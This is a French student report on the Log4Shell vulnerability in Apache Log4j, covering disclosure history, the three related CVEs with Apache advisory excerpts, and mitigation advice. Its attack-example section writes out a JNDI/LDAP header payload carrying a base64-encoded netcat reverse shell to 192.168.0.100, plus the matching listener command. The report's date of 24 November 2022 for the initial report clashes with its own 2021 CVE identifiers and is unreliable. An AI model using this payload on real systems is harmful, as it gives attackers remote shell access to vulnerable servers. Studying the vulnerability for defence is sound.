Nour Mouhammad
Sylejmani Visar

Log4 Shell

Sommaire :

A) Log for J :

Log4j est une bibliothèque logicielle open source programmée en langage Java. Elle fournit des fonctions permettant de gérer des traces et des historiques d'applications.Elle est utilisée dans de très nombreuses applications web et services web.

Elle fait partie de Apache Logging Services, un projet de l'Apache Software Foundation.

Log4J est utilisé dans de très nombreuses applications que ce soit des applications privées ou publiques. Par exemple, on peut voir sur GitHub qu’on trouve ainsi plus de 300 000 résultats pour la requête « import org.apache.logging.log4j.Logger » qui permet d’utiliser log4j.

B) Historique du problème :

Le 24 novembre 2022 Chen Zhaojun un chercheur de l'équipe de sécurité cloud d'*Alibaba* a signalé l'existence de la vulnérabilité à Apache.
Le décembre 09 Apache dévoile la vulnérabilité au reste du monde via un patch de log4j 2.15.

C) Détail du patch 2.15 :

On y découvre 2 vulnérabilité dans le patch 2.15 :

- **La CVE-2021-44228 (log4 shell) :**

La sévérité de cette vulnérabilité est classée comme **Critique** et a un score de **10/10**.
Elle consiste à injecter sur un logiciel une charge malveillante permettant de demander à log4j d'aller chercher(avec JNDI) une valeur issue d'une source tierce. Log4j ne vérifie pas le contenu des données récupérées qui peuvent être du code malveillant.

Fixed in Log4j 2.15.0 (Java 8)

CVE-2021-44228 🥊: Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints.

CVE-2021-44228 🥊	Remote Code Execution
Severity	Critical
Base CVSS Score	10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versions Affected	All versions from 2.0-beta9 to 2.14.1

Description

In Apache Log4j2 versions up to and including 2.14.1 (excluding security releases 2.3.1, 2.12.2 and 2.12.3), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

Les solution présentées dans le patch afin de se protéger de la **CVE-2021-44228** était de désactiver manuellement la fonctionnalité recherche avec JNDI ou faire un mise a jours vers la version 2.15.

- **La CVE-2021-45046 :**

On nous présente aussi **CVE-2021-45046** qui est l'évolution de la vulnérabilité **Log4Shell** présente sur la version 2.15.

La sévérité de cette vulnérabilité est classée comme **Modéré** et a un score de **3.7/10**.
Selon le patch, cette vulnérabilité permet de faire des attaques par déni de service.

D) Evolution de la vulnérabilité :

1) Version 2.16:

Après que Apache ait dévoilé les vulnérabilités, certains chercheurs découvrent que d'autres chemins d'attaque peuvent être exploités , faisant en sorte que la vulnérabilité **CVE-2021-45046** permet aussi l'exécution de code à distance.

Apache communique via le patch 2.16 l'évolution de la vulnérabilité :

Fixed in Log4j 2.16.0 (Java 8) and Log4j 2.12.2 (Java 7)

CVE-2021-45046 🥊: Apache Log4j2 Thread Context Lookup Pattern vulnerable to remote code execution in certain non-default configurations

CVE-2021-45046 🥊	Remote Code Execution
Severity	Critical
Base CVSS Score	9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
Versions Affected	All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2

On apprend donc que toute version qui a été mise à jour vers la version 2.15 est soumise à la vulnérabilité **CVE-2021-45046** qui dorénavant passe a un score de 9.0.

2) Version 2.17:

Une autre vulnérabilité va être découverte sur la version 2.16, la vulnérabilité **CVE-2021-45105** qui touche les versions sauf la 2.12.
Cette vulnérabilité permet aussi de réaliser des attaques par déni de service en injectant du code à exécution récursive qui mènera une erreur de stackoverflow.

Fixed in Log4j 2.17.0 (Java 8), 2.12.3 (Java 7) and 2.3.1 (Java 6)

CVE-2021-45105 🥊: Apache Log4j2 does not always protect from infinite recursion in lookup evaluation

CVE-2021-45105 🥊	Denial of Service
Severity	Moderate
Base CVSS Score	5.9 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)
Versions Affected	All versions from 2.0-beta9 to 2.16.0, excluding 2.12.3

Description

Apache Log4j2 versions 2.0-alpha1 through 2.16.0, excluding 2.12.3, did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack.

E) Exemple d'attaque :

L'attaque LDAP:

Voir la vidéo : https://www.youtube.com/watch?v=O6MZ0TxYgZA

LDAP est un processus d'authentification, et avec log4j on peut par exemple ajouter un utilisateur.

On envoie une requête curl avec un **HEADER X-Api-Version:1**

Par la suite on peut envoyer le même **HEADER X-Api-Version** mais cette fois-ci avec un reverse shell , **LDAP** permet d'envoyer des commandes en base 64 directement par une requête **GET**.

On encode donc la commande par exemple :
echo -n nc 192.168.0.100 9001 -e /bin/bash | base64

Et donc dans le **HEADER** on met la commande :
X-Api-Version:${jndi:ldap://192.168.0.100:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4wLjEwMCA5MDAxIC1lIC9iaW4vYmFzaA==}

Ainsi avec l'écoute avec un serveur "**nc -lvnp 9001**"
On a accès directement au terminal de la machine hôte.

Conclusion :

De nombreux logiciels sont touchés par **Log4 shell** comme Struts2, Solr, Flink, ElasticSearch, Kafka, Druid, Minecraft, Azure, iCloud.
De plus, certains internautes ont déjà utilisé cette faille pour installer des cryptominers.
Certains pays ont donc pris des mesures préventives comme le Canada avec la fermeture de l'ensemble des systèmes informatiques accessibles depuis l'Internet, soit 3992 sites et services.

Il est fortement conseillé aux entreprises de surveiller et vérifier quelle version de log4j ils utilisent afin de prendre des mesure adéquate.il est aussi recommandé de se mettre a jours en consultant les communications de Apache puisque tout les vulnérabilités ne sont pas encore corrigées ou découvert.